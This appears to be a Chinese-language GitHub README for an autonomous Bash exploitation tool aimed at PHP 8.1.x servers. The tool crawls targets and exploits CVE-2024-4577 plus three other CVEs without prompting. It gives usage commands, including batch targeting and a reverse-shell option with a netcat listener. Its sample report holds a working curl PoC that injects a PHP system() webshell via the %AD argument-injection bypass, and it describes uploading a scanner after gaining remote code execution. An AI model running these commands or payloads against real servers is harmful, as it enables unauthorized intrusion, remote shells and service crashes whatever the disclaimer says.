🚀 PHP CVE 自动驾驶仪

自动检测和利用关键 PHP 漏洞 (CVE-2024-4577 绕过, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)

PHP8.1.x_Exploit.sh 是一个单文件、零配置的安全评估工具，能够自动发现易受攻击的 PHP 端点，并利用影响 PHP 8.1.34 之前版本（2024 年 12 月发布）的四个高危 CVE。它无需手工构建载荷——只需提供一个 URL，脚本会自动完成从爬取到远程代码执行的全部工作。完全自动驾驶模式——无需用户提示即可自动检测和利用。

特性

• 完全自主的自动驾驶模式 – 给定一个 URL，自动爬取、指纹识别、测试和利用，无需用户交互。
• 批量扫描 – 提供目标列表，并行运行。
• 高级爬取 – 从首页提取链接和表单，提高发现能力。
• 操作系统与 PHP 版本指纹识别 – 在 Linux 上避免 Windows 专属攻击，检查 PHP 版本。
• CVE-2024-4577 绕过（Windows CGI 参数注入）
  • 检测并利用存在漏洞的 PHP-CGI 端点。
  • 可选反向 Shell（PowerShell 单行命令）。
  • 两种注入风格：标准 -d 和软连字符 %AD 绕过。
• CVE-2025-14177 – 通过 getimagesize() 发生的堆内存泄露
  • 动态创建畸形 JPEG 文件，并自动提交到任何发现的上传端点。
  • 检测响应中泄露的内存。
• 基于 RCE 的深度本地扫描（当 CVE-2024-4577 被利用时）
  • 上传轻量级 PHP 扫描器，测试以下漏洞：
    • CVE-2025-14180 – PDO PostgreSQL 中的空指针解引用。
    • CVE-2025-14178 – array_merge 中的整数溢出。
• 智能爬取 – 提取链接和表单以发现 CGI 脚本和上传页面。
• 并行执行 – 若可用则使用 parallel，否则优雅降级。
• 详细与调试模式 – 查看每个 HTTP 请求和决策。
• 报告生成 – 将发现结果保存到文本文件。
• 干净安全 – 退出时销毁临时文件，超时防止挂起。

要求

无需 root 权限 – 该工具仅发送 HTTP 请求，并可选执行反向 Shell（需要您的机器上有监听器）。

安装

git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh

使用

单个目标（最常见）

./PHP8.1.x_Exploit.sh -u http://target.example.com

单个目标 + 反向 Shell（CVE-2024-4577）

./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444

然后在您的机器上：

nc -lvnp 4444

批量扫描多个目标

./PHP8.1.x_Exploit.sh -l targets.txt --threads 10

示例 targets.txt：

http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com

仅扫描模式（不尝试利用）

./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only

保存报告到文件

./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt

详细 / 调试输出

./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug   # 非常嘈杂

工作原理（阶段）

命令行选项（完整参考）

涵盖的 CVE 详情

注意： CVE‑2025‑14180 和 CVE‑2025‑14178 只能从服务器内部准确检测（本地测试）。脚本通过在成功利用 CGI 后上传扫描器来实现这一点。

📸 示例输出

[*] 扫描: http://192.168.1.100/
[*] 操作系统: windows
[*] PHP 版本: 8.1.33
[*] 测试 CVE-2024-4577 于 http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: 存在漏洞（软连字符注入）
[*] 尝试反向 Shell 到 192.168.1.5 4444
...
[*] 测试 CVE-2025-14177 通过 http://192.168.1.100/upload.php
[-] CVE-2025-14177: 检测到潜在堆泄露！
...
[*] 通过 RCE 运行深度本地扫描...
PHP_VERSION=8.1.33
CVE-2025-14180: 存在漏洞
CVE-2025-14178: 存在漏洞
CVE-2025-14177: 存在漏洞（泄露: 486561704c65616b21...）

===================== http://192.168.1.100/ 的报告 =====================
操作系统: windows
PHP: 8.1.33
CVE-2024-4577: 可利用于 http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: 存在漏洞
CVE-2025-14180/14178: 存在漏洞（请参阅深度扫描输出）
==============================================================

⚠️ 重要警告与免责声明

• 自动驾驶模式 – 该工具会自动利用漏洞而无需提示。仅限在授权目标上使用。
• 仅限合法使用 – 本工具旨在用于授权的安全评估、渗透测试和教育目的。未经许可使用该系统攻击他人在大多数司法管辖区是非法的。
• 无担保 – 本软件按“现状”提供，不附带任何形式的担保。
• 可能造成损害 – 利用漏洞可能导致服务崩溃（CVE-2025-14180）或内存损坏（CVE-2025-14178）。请勿在未经明确同意的情况下在生产系统上运行。
• 反向 Shell – --revshell 选项会从目标向您的机器打开一个套接字。确保您拥有回连的权限。
• 日志记录 – 您的请求将出现在目标的访问/错误日志中。请负责任地使用。

🛠️ 故障排除

🤝 贡献

欢迎提交拉取请求、错误报告和功能建议。请遵循：

• 保持脚本单文件且纯 Bash。
• 同时测试有 parallel 和没有 parallel 的情况。
• 相应更新此 README。

📜 许可证

GNU 通用公共许可证 v3.0 – 请参阅 LICENSE 文件。

📚 参考

• PHP 8.1.34 发布公告
• CVE-2024-4577 详情 (NVD)
• CVE-2025-14177 / 14178 / 14180 (NVD)
• Windows 最佳匹配字符映射

为安全社区用心制作。请合乎道德地使用。